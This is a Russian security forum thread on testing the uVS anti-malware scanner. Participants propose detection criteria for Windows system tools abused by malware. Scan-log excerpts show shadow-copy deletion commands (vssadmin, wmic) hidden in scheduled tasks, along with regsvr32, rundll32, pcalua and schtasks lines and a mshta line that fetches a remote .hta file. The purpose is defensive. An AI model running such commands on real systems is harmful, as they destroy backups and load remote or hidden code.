uVS - Тестирование - Страница 34 - Universal Virus Sniffer (uVS) - развитие, использование и решение проблем - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

PR55.RP55

При попытке повторно сканировать файл на V.T. выдаётся ошибка: HTTP Status Code: 403 ( и уже давно )

при этот просто проверка файлов работает.

----------------

Уточнение к выше написанному по SLUI.EXE

Понятно, что когда файл просто валяется в каталоге uVS его не увидит ( и это нормально )

Но когда запускаешь файл,  открывается окно, обновляешь список, а uVS файл не видит...

Проверил с другими файлами из winsxs

Файл НЕ обнаруживается при его запуске ( обновление списка )

Файл НЕ обнаруживается при повторном запуске uVS ( вне зависимости от типа запуска )

Файл Обнаруживается только при Многократном\повторном запуске.

т.е. если файл запускался 1-2 раза uVS его не видит. 100%.

После ПЯТИ ЗАПУСКОВ ПОДРЯД видит...

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
SQx

Приветствую,

Тут в очередной раз встретил интересную тему на TechNet, касаемо  политики установки приложений .Net Framework. У пользователя на Windows 8.1 при установки  приложений банк-клиента получает сообщение "ваш администратор заблокировал данное приложение, поскольку оно потенциально представляет угрозу вашему компьютеру" далее прерывается установка.

В событиях приложений видно следующее:

Description: Приложение: AlfaDirect.SigningTool.exe
Версия платформы: v4.0.30319
Описание. Процесс был завершен из-за необработанного исключения.
Сведения об исключении: System.Security.Policy.PolicyException
   в System.AppDomain.SetupApplicationHelper(System.Security.Policy.Evidence, System.Security.Policy.Evidence, System.ApplicationIdentity, System.ActivationContext, System.String[])
   в System.AppDomain.InitializeDomainSecurity(System.Security.Policy.Evidence, System.Security.Policy.Evidence, Boolean, IntPtr, Boolean)


Может стоит отслеживать эти настройки в реестре, это бы в некоторых случаях помогло с ложными оповещениями "якобы приложение является потенциально опаснойи представляет угрозу вашему компьютеру".

Что скажете?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

В коде  Microsoft обнаружена ошибка, ( crypt32.dll ) которая отвечает за проверку цифровых  подписей, что потенциально позволяет  подделать подпись файла.

https://krebsonsecurity.com/2020/01/cryptic-rumblings-ahead-of-first-2020-patch-tuesday/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

С выходом новой версии Хрома появились записи типа.

Полное имя                  79.0.3945.130
Имя файла                   79.0.3945.130
Тек. статус                 в автозапуске Chrome/Yandex
                            
Сохраненная информация      на момент создания образа
Статус                      в автозапуске Chrome/Yandex
                            
Доп. информация             на момент обновления списка
Стартовая страница          Chrome

Образ тема:  https://forum.esetnod32.ru/messages/forum4/topic15670/message108070/?result=reply#message108070


                            

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy

demkd, приветствую.

в последнее время, злоумышленники, стремятся обойти защиту в HIPS по блокированию деструктивных действий, в частности удалению теневых копий, переносят удаление в системные задачи.

Цитата

Полное имя                  C:\WINDOWS\SYSTEM32\WBEM\WMIC.EXE
Имя файла                   WMIC.EXE
Тек. статус                 ИЗВЕСТНЫЙ ПРОВЕРЕННЫЙ в автозапуске
                            
Удовлетворяет критериям     
WMICDELETESHADOWSCOPY       (ССЫЛКА ~ C:\WINDOWS\SYSTEM32\TASKS\)(1)   AND   (CMDLINE ~ SHADOWCOPY DELETE)(1) [auto (0)]
                            
Сохраненная информация      на момент создания образа
Статус                      ИЗВЕСТНЫЙ ПРОВЕРЕННЫЙ в автозапуске
File_Id                     47919524C8000
Linker                      8.0
Размер                      801280 байт
Создан                      19.01.2008 в 09:13:56
Изменен                     19.01.2008 в 11:00:47
                            
TimeStamp                   19.01.2008 в 06:13:56
EntryPoint                  +
OS Version                  0.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   64-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            wmic.exe.mui
Версия файла                6.0.6000.16386 (vista_rtm.061101-2205)
Версия продукта             6.0.6000.16386
Описание                    WMI Commandline Utility
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     SHADOWCOPY DELETE
SHA1                        02316B3393A8F06C0D5132937E268BB0D7044835
MD5                         E24706AFDEAF910604BBFF5D514FA3DA
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\WMICRESTORE

и

Цитата

Полное имя                  C:\WINDOWS\SYSTEM32\VSSADMIN.EXE
Имя файла                   VSSADMIN.EXE
Тек. статус                 ИЗВЕСТНЫЙ ПРОВЕРЕННЫЙ в автозапуске
                            
Удовлетворяет критериям     
VSSADMINDELETESHADOWSCOPY   (ССЫЛКА ~ C:\WINDOWS\SYSTEM32\TASKS\)(1)   AND   (CMDLINE ~ DELETE SHADOWS /ALL /QUIET)(1) [auto (0)]
                            
Сохраненная информация      на момент создания образа
Статус                      ИЗВЕСТНЫЙ ПРОВЕРЕННЫЙ в автозапуске
File_Id                     479198D722000
Linker                      8.0
Размер                      127488 байт
Создан                      19.01.2008 в 09:29:43
Изменен                     19.01.2008 в 11:00:42
                            
TimeStamp                   19.01.2008 в 06:29:43
EntryPoint                  +
OS Version                  0.0
Subsystem                   Windows character-mode user interface (CUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   64-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано Microsoft Windows
                            
Оригинальное имя            VSSADMIN.EXE.MUI
Версия файла                6.0.6000.16386 (vista_rtm.061101-2205)
Версия продукта             6.0.6000.16386
Описание                    Интерфейс командной строки для Microsoft® Volume Shadow Copy Service
Продукт                     Операционная система Microsoft® Windows®
Copyright                   © Корпорация Майкрософт. Все права защищены.
Производитель               Microsoft Corporation
                            
Доп. информация             на момент обновления списка
CmdLine                     DELETE SHADOWS /ALL /QUIET
SHA1                        51055E07A82F84266A1D594783D785B75452E4D6
MD5                         76A7CD9B76DEA4EF85BB2959F6C36EBA
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\VSSDATARESTORE

хотелось бы,

1. чтобы в настройках критерия была возможность добавить настраиваемую команду deltsk

2. чтобы была возможность задать приоритет ( для случаев, когда чистый файл используется в деструктивных целях) критерия перед цифровой и безопасным хэшем.
                            

                          

  • Like 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Цитата

Santy пишет:   для случаев, когда чистый файл используется в деструктивных целях      

https://www.anti-malware.ru/news/2018-07-16-1447/26826

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
В 28.01.2020 at 9:21 PM, santy сказал:

1. чтобы в настройках критерия была возможность добавить настраиваемую команду deltsk 

2. чтобы была возможность задать приоритет ( для случаев, когда чистый файл используется в деструктивных целях) критерия перед цифровой и безопасным хэшем.

посмотрю что там можно сделать, пока с временем проблемы.

  • Like 1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
23 минут назад, demkd сказал:

посмотрю что там можно сделать, пока с временем проблемы. 

может в коде программы жестко прописать список системных файлов, через которые возможно выполнить деструктивные действия в системе: wmic.exe, vssadmin.exe, cmd.exe, svchost.exe. И с учетом этого списка уже управлять приоритетом между критериями и белыми хэшами.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

 

Цитата

Santy пишет:  wmic.exe, , cmd.exe, svchost.exe

Можно создать отдельную категорию.

раз это отдельная категория...

 

 

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 часа назад, santy сказал:

И с учетом этого списка уже управлять приоритетом между критериями и белыми хэшами.

не очень хорошая идея, файлов может быть несколько сотен, а то и тысяч на самом деле

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
43 минут назад, demkd сказал:

не очень хорошая идея, файлов может быть несколько сотен, а то и тысяч на самом деле

пока что вижу эти: wmic.exe, vssadmin.exe, cmd.exe, svchost.exe + powershell.exe+ netsh.exe конечно, остальные можно по мере поступления добавить.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
2 часа назад, PR55.RP55 сказал:

 

Можно создать отдельную категорию.

раз это отдельная категория...

 

 

 

 

можно  и категорию, это непринципиально, лишь бы не было лишних хлопот с дополнительным программированием.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
13 часов назад, santy сказал:

пока что вижу эти: wmic.exe, vssadmin.exe, cmd.exe, svchost.exe + powershell.exe+ netsh.exe конечно, остальные можно по мере поступления добавить. 

или так, например, сделать:

ввести категорирование критериев с признаком приоритета критерия над цифровой из белого списка и безопасным хэшем.

например: "деструктивное действие, выполняемое системным файлом".... тогда будет не нужен список чистых файлов с потенциально деструктивным действием. бонус здесь еще будет в том, что можно будет систематизировать критерии по категориям.

но это приведет к модификации справочника критериев, поскольку нужно будет добавить поле выбора категории критерия, и нужен будет дополнительно управляемый список категорий критериев, чтобы установить признак приоритета.

ну, и соответственно, это повлияет на правила отбора объектов в группу "подозрительные и вирусы".

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

santy

Категория: " Системные  Потенциально Деструктивные <--------- "

Можно установить заглушку: "Не проверять файлы в категории по б.с.ЭЦП;  SHA1 " (  settings.ini  )

( Задаётся любая категория. ( или группа категорий ) )

Значит проверка происходит только по базе поисковых критериев. Если критерий не задан, файл всегда отображается в своей категории.

Добавить в Инфо. : "Команда вне типовых значений - Подозрительная команда "

Доп. информация             на момент обновления списка
CmdLine                     DELETE SHADOWS /ALL /QUIET
SHA1                        51055E07A82F84266A1D594783D785B75452E4D6
MD5                         76A7CD9B76DEA4EF85BB2959F6C36EBA
                            
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\VSSDATARESTORE 

т.е. после установки системы и базовых компонентов типа NET Framework; Vcredist и т.д. uVS запоминает типовые значения Инфо. и может сравнивать. ( только для основных файлов )

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

+

В uVS есть категория: " Неизв.модули в изв. процессах. "

А категории: " Неизв. команды в изв. процессах. "

Такой категории нет...

----------

Кроме того пора бы уже уйти от практики: " Тихо сам с собою я веду беседу"

А взять\собрать у всех кто работает с uVS базы\критерии и передать Demkd

Поисковые алгоритмы программы должны развиваться - а какое может быть развитие, если всё оставить как есть.

 

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
3 часа назад, PR55.RP55 сказал:

А взять\собрать у всех кто работает с uVS базы\критерии и передать Demkd

а demkd это надо, разбираться с сотнями записей в списках snms? кому надо, тот спросит или найдет. Ты же публикуешь свои списки. Поделиться можно лишь действительно уникальными критериями, если получается их находить.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Сравнивал очистку в uVS и FRST

Если применить FRST ( EmptyTemp ) сразу после очистки в uVS - то программа всегда находит дополнительно 30-50 mb и PC по ощущениям начинает лучше работать. т.е. нужно в этом направлении _обязательно смотреть.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
В 08.02.2020 at 12:33 PM, santy сказал:

например: "деструктивное действие, выполняемое системным файлом".... тогда будет не нужен список чистых файлов с потенциально деструктивным действием. бонус здесь еще будет в том, что можно будет систематизировать критерии по категориям.

demkd,

можно еще автоматически карантинить подобные файлы из Prefetch, если для них сработал критерий "деструктивное действие, выполняемое системным файлом"

возможно в самом файле *.pf будет содержаться полезная для анализа информация

https://habr.com/ru/company/group-ib/blog/487516/

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Santy пишет:   Пока что вижу эти: wmic.exe, vssadmin.exe, cmd.exe, svchost.exe + powershell.exe+ netsh.exe конечно, остальные можно по мере поступления добавить.       


Техника LOLbins (living off the land), работает используя легитимные процессы Windows для выполнения вредоносного кода, не запуская собственные исполняемые файлы и процессы.
К примеру, по данным Microsoft, малварь регулярно злоупотребляла msiexec.exe, rundll32.exe, schtasks.exe и т.д. Используя эти процессы для запуска вредоносного кода.


regsvr32.exe

O22 - ScheduledTask: (Ready) {300E0444-6E75-00D4-8C2E-786DE3115137} - {root} - C:\Windows\system32\regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\1d479c60\119a6428.dll"
Task: C:\WINDOWS\Tasks\{B1AA8F04-0894-F922-12CF-066671D0E46D}.job => C:\WINDOWS\system32\regsvr32.exe F /s /n /i:/rt C:\DOCUME~1\ALLUSE~1\APPLIC~1\1c89c365\7520cf2e.dll <==== ATTENTION
Task: {9557A449-CB89-49B5-9552-89C8163A54C3} - System32\Tasks\{402A874D-3698-5E16-6CA4-31FE2AC06873} => C:\Windows\system32\regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\c8f9210c\cf9bd03d.dll" <==== ATTENTION
O22 - Task: {77108E3C-4C71-191B-AD1B-E1D1F566BF0E} - C:\Windows\system32\regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\bdd75b60\d136dad1.dll"
HKU\S-1-5-21-926217151-4064649387-4294350901-500\...\Run: [Ajjdworks] => regsvr32.exe C:\Users\Администратор\AppData\Local\Ajjdworks\Image.DLL <==== ATTENTION
HKU\S-1-5-21-2939633801-2705330331-3998745655-1001\...\Run: [update_w32.exe] => C:\Windows\system32\regsvr32.exe /s scrrun.dll "D:\Users\Таня\AppData\Roaming\SysplanNT\msimg32.dll" htvrh666 "D:\Users\Таня\AppData\Roaming\SysplanNT\update_w32.exe" r <==== ATTENTION

rundll32.exe

Запуск в командной строке предельно прост — rundll32.exe.
Вызов имени библиотеки DLL происходит без вызова расширения .dll
При этом имя функции выглядит несоответствующим.
В реальности код зловреда запускается одновременно с загрузкой библиотеки DLL.
Бинарный код rundll32.exe, подписанный Windows, копируется в другие локации под именем ******.exe, а затем запускается с помощью той же команды, что и rundll32.exe ранее.

O22 - Task (Ready): BYkucKAbLoZInYF - C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\PieSfXRZU\Afbjxp.dll",#1
S2 OtherSearch; rundll32.exe "C:\Program Files (x86)\S9YGPGPPyq\kl.dll",Svc [X] <==== ATTENTION
C:\Program Files (x86)\S9YGPGPPyq\kl.dll
O4 - HKCU\..\Run: [MSIDLL] rundll32.exe msionc32.dll,bQiYtMdJrG
Task: {D70D36C3-72F5-4E28-8622-5F312E2B467B} - System32\Tasks\GAasuBHwSxk => C:\WINDOWS\system32\rundll32.exe


msiexec.exe

HKU\S-1-5-18\...\RunOnce: [IsMyWinLockerReboot] => msiexec.exe /qn /x{voidguid}
Update Manager [20161005]-->MsiExec.exe /I{F428D0FB-765D-40EB-BDD8-A1E7F5C597FA}
globalupdate Helper []-->MsiExec.exe /I{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}


schtasks.exe

schtasks.exe /create /F /tn "123123" /xml "c:\temp\task.xml"
schtasks.exe /run /i /tn "123123"

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
17 минут назад, PR55.RP55 сказал:

regsvr32.exe

rundll32.exe

ну, regsvr32.exe и rundll32.exe в любом случае засветятся, потому что здесь будет дополнительно отобран в списке объектов файл, который он запускают или регистрируют.

хотя, дополнительно статус "системного файла с деструктивным действием" не помешает в данном случае.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

cscript.exe

https://tproger.ru/news/winrm-vbs-windows/

https://vms.drweb.com/virus/?i=8365848&lng=en

https://vms.drweb.ru/virus/?i=4154287

O22 - Task: \Microsoft\Windows\Server Manager\CleanupOldPerfLogs - C:\Windows\system32\cscript.exe /B /nologo C:\Windows\system32\calluxxprovider.vbs $(Arg0) $(Arg1) $(Arg2)


mshta.exe

mshta.exe c:\temp.hta
Mshta.exe http://www.******.com/bar.hta

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy

wscript.exe, csript.exe, mshta.exe,

так же как regsvr32.exe, rundll32.exe засветят в образе тот отдельный файл, который они выполняют.

---------------------------------

вот еще картинка, как могут быть применены системные файлы в деструктивных действиях.

wmic, bitsadmin:

Программа администрирования BITS (BITS) используется в Windows для загрузки обновлений безопасности. Именно это свойство службы использует киберпреступники, чтобы скрыть свое присутствие на скомпрометированной системе. Еще одна особенность, которая затрудняет предупреждение BITS, заключается в том, что когда опасное приложение загружает файлы с использованием службы, трафик, как представляется, поступает из BITS, а не из приложения.  Возможности злоупотреблений BITS не ограничиваются загрузкой программ. Служба BITS может стать источником утечки информации, если воспользоваться ею для передачи файлов из сети на внешний компьютер

EQ-QkH8U4AAoXTl.png

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55
Цитата

Santy пишет:  wscript.exe, csript.exe, mshta.exe,

так же как regsvr32.exe, rundll32.exe засветят в образе тот отдельный файл, который они выполняют       

Если файл постоянно доступен -  засветят. А если это сетевой ресурс, или внешний накопитель то...

pcalua.exe

Task: {58E521CE-9E9C-4AF4-8672-055BAB6CC610} - System32\Tasks\{71EFCB4A-AFB7-4A1A-BF03-2C4652886663} => C:\Windows\system32\pcalua.exe -a E:\AUTORUN.EXE -d E:\

Task: {39D66A93-E0D4-460F-90A5-7E254BE62565} - System32\Tasks\{5A56217C-FB4D-4CD2-A83E-6660BC431D40} => pcalua.exe -a E:\qfyh01ww.exe -d E:\

Task: {555780F2-DC30-4C70-8322-E018A752B23C} - System32\Tasks\{E1F14680-765F-4CFE-96F6-07A005324F2D} => C:\Windows\system32\pcalua.exe -a C:\Users\Пользователь\Desktop\tconp.exe -d C:\Users\Пользователь\Desktop

O22 - Task: {467E7092-19D2-4143-B5A8-953C2E358898} - C:\Windows\system32\pcalua.exe -a C:\Temp\jre-8u161-windows-au.exe -d C:\Windows\SysWOW64 -c /installmethod=jau FAMILYUPGRADE=1

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Пока форум не работал по ошибкам, предложениям, замечаниям публиковал здесь:

https://forum.esetnod32.ru/forum8/topic15904/?PAGEN_1=5

------------

Цитата

Полное имя                  C:\USERS\836D~1\APPDATA\LOCAL\TEMP\WCT5E09.TMP
Имя файла                   WCT5E09.TMP
Тек. статус                    ПОДОЗРИТЕЛЬНЫЙ                                                  
Сохраненная информация      на момент создания образа
Статус                      
Инф. о файле                Системе не удается найти указанный путь.
Цифр. подпись               проверка не производилась
                            
BITS Job                    PreSignInSettingsConfigJSON
ID                          1fdd3525-e690-48f9-bcfc-5cf2cc229ea6
URL                      https://g.live.com/odclientsettings/Prod

------------
Образ в теме:  https://forum.esetnod32.ru/messages/forum6/topic16189/message110932/#message110932

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти

  • Сообщения

    • PR55.RP55
      * адрес страницы (ReferrerUrl) и адрес самого файла (HostUrl) в метке появились в Windows 10 версии 1703, их записывают браузеры, например Edge и Chrome. В статье показано, как посмотреть эти данные в Windows 11 https://www.comss.ru/page.php?id=22105
    • Ego Dekker
      ESET Cyber Security 10.0.2100  (macOS 13/14/15/26/27)
                                                                                  ●
              Руководство пользователя ESET Cyber Security 10  (PDF-файл)
                                                           
      Полезные ссылки:
      Технологии ESET
      Удаление антивирусов других компаний
      Как удалить ESET Cyber Security?
    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 19.2.10.
    • PR55.RP55
      1) Ситуация когда нет доступа к virustotal.com ( и другим ресурсам ) Что предлагаю: а) На примере Firefox 155 - Happy Eyeballs v3: подключение сразу несколькими путями *Браузер больше не выбирает маршрут до сайта заранее, а пробует несколько вариантов подключения параллельно и работает через тот, который отозвался первым. Выигрыш заметнее всего в сетях, где IPv4 или IPv6 работает медленно либо нестабильно: раньше браузер мог упереться в неотвечающий адрес и ждать таймаута, теперь соединение уходит по резервному пути без паузы. б) Если сайт полностью не доступен - то, при потоковой проверке файлов не заставлять пользователя "бесконечно" ждать... 2) Драйвер фаервола - при проверке. По хорошему программа сама должна знать какие файлы её, какие нет и всякий раз не лезть к ним и не пытаться получить доступ к собственному файлу ?  
    • AM_Bot
      «Инфосистемы Джет» активно развивает концепцию антихрупкости. Эта компания разработала инструменты для её практического применения — первый Фреймворк антихрупкой ИТ-архитектуры и Индекс антихрупкости для построения киберустойчивого бизнеса.      1. Введение2. Что такое антихрупкость ИТ-архитектуры3. Назначение инструментов, разработанных компанией «Инфосистемы Джет»3.1. Фреймворк антихрупкой ИТ-архитектуры3.2. Индекс антихрупкости4. Как проходит оценка4.1. Заполнение профиля компании4.2. Построение бенчмарка4.3. Прохождение опроса4.4. Оценка результатов5. ВыводыВведениеРезонансные атаки на крупнейшие российские компании, которые мы регулярно освещаем, вскрыли системную проблему: реальная операционная готовность к инцидентам остаётся на низком уровне, даже если система защиты формально выстроена. Как показало недавнее исследование компании «Инфосистемы Джет», пережить кибератаку не готовы 64 % из 50 российских компаний. Хуже всего ситуация обстоит в госсекторе и ритейле — при этом именно эти отрасли входят в число наиболее атакуемых.Защита, которая создавалась, чтобы остановить злоумышленника, теперь может лишь его замедлить — и одной способности «не пустить» стало недостаточно. Закупленные СЗИ создают иллюзию надёжности: организация выглядит защищённой, но в момент реальной атаки оказывается уязвимой.В условиях массовых взломов и эволюции атакующих стратегий на первое место выходит принцип управляемого ухудшения ситуации. Взлом с большой вероятностью произойдёт, но мы должны уметь работать под атакой, управлять кризисом и быстро восстановиться. Также необходимо выстроить зрелые процессы реагирования на угрозы, восстановления после инцидентов и обеспечения непрерывности бизнеса даже в условиях атаки. В ответ на этот вызов ИТ-компания «Инфосистемы Джет», работающая на российском рынке с 1991 года, предложила использовать концепцию антихрупкой ИТ-архитектуры.Её суть заключается в том, что ИТ-инфраструктура должна не просто выдерживать сбои, атаки и неблагоприятные обстоятельства, а по-настоящему быть к ним готовой, эффективно их преодолевать и даже извлекать из них пользу, становясь надёжнее и укрепляя свои позиции среди конкурентов.Что такое антихрупкость ИТ-архитектурыКонцепция антихрупкости впервые была предложена учёным Нассимом Талебом, статистиком, бывшим трейдером и риск-менеджером, который прославился изучением влияния случайных и непредсказуемых событий на мировую экономику и биржевую торговлю. В книге «Чёрный лебедь. Под знаком непредсказуемости» (The Black Swan), вышедшей в 2007 году, он ввёл сам термин «чёрный лебедь» для описания редких и маловероятных событий, имеющих огромные последствия, и пришёл к выводу, что вместо попыток их предсказания логичнее создавать системы, способные не просто пережить хаос, но и становиться после него сильнее. Именно это понимание легло в основу идеи антихрупкости, которая уже была детально раскрыта Талебом в книге 2012 года «Антихрупкость. Как извлечь выгоду из хаоса» (Antifragile: Things That Gain From Disorder).Вдохновившись концепцией антихрупкости, аналитики компании «Инфосистемы Джет» решили развивать эти идеи и продвигать их в России. Антихрупкая ИТ-архитектура — не гонка за новыми инструментами. Она строится вокруг способности пережить полный жизненный цикл атаки: подготовиться к ней, замедлить злоумышленника, обнаружить вторжение, сократить ущерб, восстановить бизнес и перестроиться после инцидента. Для практической реализации концепции антихрупкости «Инфосистемы Джет» разработали первый Фреймворк антихрупкой архитектуры и Индекс антихрупкости, позволяющие выявить слабые места и сформировать дорожную карту усиления защиты.Назначение инструментов, разработанных компанией «Инфосистемы Джет»Как же перейти от понимания концепции антихрупкости к её реализации? В этом помогут разработанные вендором инструменты, которые мы рассмотрим ниже.Фреймворк антихрупкой ИТ-архитектурыФреймворк антихрупкой ИТ-архитектуры представляет собой открытый и практичный инструмент, который объединил опыт инженеров, аудиторов, консультантов и экспертов-практиков по защите сети и построению ИТ-инфраструктуры. Он разработан командой «Инфосистемы Джет» во главе с руководителем отдела развития консалтинга по ИБ Александром Морковчиным.Сценарии использования фреймворка охватывают три ключевые рыночные потребности. Первая — оценка текущего уровня киберустойчивости с помощью единой измеримой «линейки» для сопоставления с конкурентами и отраслевыми лидерами. Вторая — планирование развития на основе каталога проверенных практик и выбор вектора роста. Третья — трансформация: пошаговый переход от фактического состояния к целевому уровню киберустойчивости. Фреймворк имеет иерархическую логику: он строится по каскадной модели «в крупную клетку», т. е. на высоком уровне абстракции, без погружения в мелкие детали. Всего существует пять уровней детализации, где каждый следующий уровень конкретизирует предыдущий. Это позволяет последовательно двигаться от общего видения (стратегии) по уровням детализации к конкретным действиям (практике), сохраняя гибкость и системность.Фреймворк доступен на официальном сайте и не требует установки дополнительных расширений. Рисунок 1. Каскадная модель фреймворка антихрупкой ИТ-архитектуры Разберём каскад по уровням:Уровень 0. ДистанцииДистанции описывают фазы жизненного цикла относительно кибервторжения.Уровень 1. Цели («Чего хотим достичь»)Здесь выделяется семь стратегий. Это верхнеуровневые направления для достижения антихрупкости: например, «подготовка и прогнозирование», «адаптация и перестройка». Их цель — сформировать киберустойчивый каркас, дополнив классическую ИБ тем, чего часто не хватает в реальной атаке: связью с ИТ-архитектурой, непрерывностью, восстановлением, кризисным управлением и постоянным улучшением. Таблица 1. Семь стратегий антихрупкостиСтратегияВопрос, на который она отвечаетСистемное развитие и контрольРазвивается ли ИБ оправданно с точки зрения бизнеса?Подготовка и прогнозированиеПонимаем ли мы, как нас будут атаковать и какое звено сломается первым?Вовлечение и нападениеЗнаем ли мы, кто и как готовится нас атаковать — и можем ли перехватить инициативу?Защита, замедление, сдерживаниеЧто не даст атакующему быстро развить успех после проникновения?Обнаружение и реагированиеПоймём ли мы, что враг уже внутри, до того как он ударит?ВосстановлениеЕсть ли у бизнеса «План Б» на случай потери инфраструктуры?Адаптация и перестройкаСтанет ли компания сильнее после инцидента? Уровень 2. Правила реализации («Как себя ведём»)Здесь выделяется 10 принципов. Принципы связывают стратегии с действиями: это установки, задающие поведение. Например, принцип «нулевого доверия» или «безопасности по умолчанию». Уровень 3. Области применения («Где развиваем способности») Здесь выделяются 33 домена — тематические области, группирующие практики по функциональной принадлежности. Каждый домен описывает определённую способность организации. Уровень 4. Конкретные действия («Что делаем»)Здесь выделяется 390+ практик. Практики — конкретные меры и действия, которые организация должна реализовать для достижения целей киберустойчивости. Рисунок 2. Распределение стратегий антихрупкости по четырём дистанциям Вышеописанная схема является интерактивной: кликнув на домен, можно ознакомиться с относящимися к нему практиками. Рисунок 3. Информация о входящих в домен «Обнаружение и реагирование» практиках Также можно использовать строку поиска для выделения интересующих вас практик. Рисунок 4. Результат поискового запроса Фреймворк можно выгрузить в виде файла формата XLS, в котором также представлен инструмент самооценки. Рисунок 5. Фрагмент фреймворка в формате XLS Индекс антихрупкостиИндекс антихрупкости — показатель, позволяющий оценить в процентном соотношении, насколько компания готова к «чёрным лебедям», т. е. труднопредсказуемым событиям. Индекс построен на базе фреймворка и отвечает на вопрос: способна ли компания пережить кибератаку, продолжать работу в её условиях и восстановиться после неё. Итог оценки — индекс антихрупкости от 0 до 100 %, разбор по направлениям защиты и сравнение с другими участниками индустрии. Отраслевой уровень обновляется автоматически по мере накопления ответов респондентов.Индекс не заменяет регуляторные оценки, а дополняет их в областях, которые проверяют реальную киберустойчивость: восстановление и непрерывность бизнеса, кризис-менеджмент, threat hunting, безопасная разработка, безопасность ИИ, отказоустойчивость, культура киберучений и другие. Разберём, как пользоваться инструментом оценки.Как проходит оценкаС сервисом можно ознакомиться на официальном сайте. Вы отвечаете на сто коротких вопросов о том, какие практики киберустойчивости есть в компании. Оценка полностью анонимна: контактные данные и название компании не запрашиваются. У каждой оценки есть только уникальный идентификатор — он понадобится, если вы захотите задать вопрос по полученным результатам. Рисунок 6. Расчёт Индекса антихрупкости (приветственное окно) Заполнение профиля компанииДля получения оценок, релевантных профилю вашей организации, необходимо указать параметры из выпадающего списка: Сфера деятельности компании.Общее количество сотрудников.Число ИБ-сотрудников.Число ИТ-сотрудников.Оценку формирует руководитель ИБ или тот, кто отвечает за информационную безопасность в компании. Часть вопросов затрагивает смежные зоны — резервное копирование, непрерывность бизнеса, безопасную разработку, взаимодействие с юристами и PR. Если по ним нет уверенности, лучше уточнить у коллег: точность ответов напрямую определяет пользу результата. Рисунок 7. Пример заполненного профиля организации Заполнив все поля, можно переходить к следующему шагу. Для этого нажмите кнопку «Посмотреть показатели по отрасли».Построение бенчмаркаВ следующем разделе нам становится доступен бенчмарк, отражающий индекс антихрупкости и оценку в разрезе стратегий антихрупкой ИТ-архитектуры в среднем по отрасли. В качестве примера мы выбрали сферу деятельности «финансовый сектор». Рисунок 8. Экспресс-оценка показателей киберустойчивости по отрасли Ниже приводится оценка по стратегиям в табличном виде. Рисунок 9. Индекс антихрупкости в разрезе стратегий и практик по отрасли Прохождение опросаДля расчёта своего индекса антихрупкости пользователю предлагается пройти опрос по 100 практикам, каждая из которых имеет пять вариантов ответа:«Да» (выполняется системно).«Частично» (с ограниченным охватом).«Нет» (не выполняется или выполняется ad hoc, т. е. разово или под конкретную задачу).«Неприменимо» (не используется в организациях данного типа). Этот ответ следует выбрать, если, например, в организации нет такого процесса или системы. При выборе этого варианта метрика исключается из расчёта.«Не знаю» (затрудняюсь оценить). Метрика исключается из расчёта. Рисунок 10. Опрос в рамках стратегий и практик Результат отображается сразу после ответа на последний вопрос. Для расчёта индекса необходимо выбрать «Показать результаты». В том случае, если не все практики были оценены, появится окно с предупреждением и расчёт будет проведён с ограничениями. Рисунок 11. Предупреждение пользователя Оценка результатовНа вкладке «Результаты» отображается текущий уровень киберустойчивости организации, а также сопоставление этого уровня с показателями по отрасли в виде шкалы и радарной диаграммы («диаграммы-паука»). Рисунок 12. Экспресс-оценка киберустойчивости в виде шкал Рисунок 13. Экспресс-оценка киберустойчивости в разрезе стратегий При сравнении учитываются только критерии, по которым даны ответы. Ознакомиться с ними можно ниже в табличном виде. Рисунок 14. Оценка антихрупкости в разрезе доменов — групп практик Информацию по экспресс-оценке киберустойчивости организации можно скачать в виде готового отчёта. Он доступен в формате PDF и представляет собой готовый буклет для ознакомления в электронном виде или 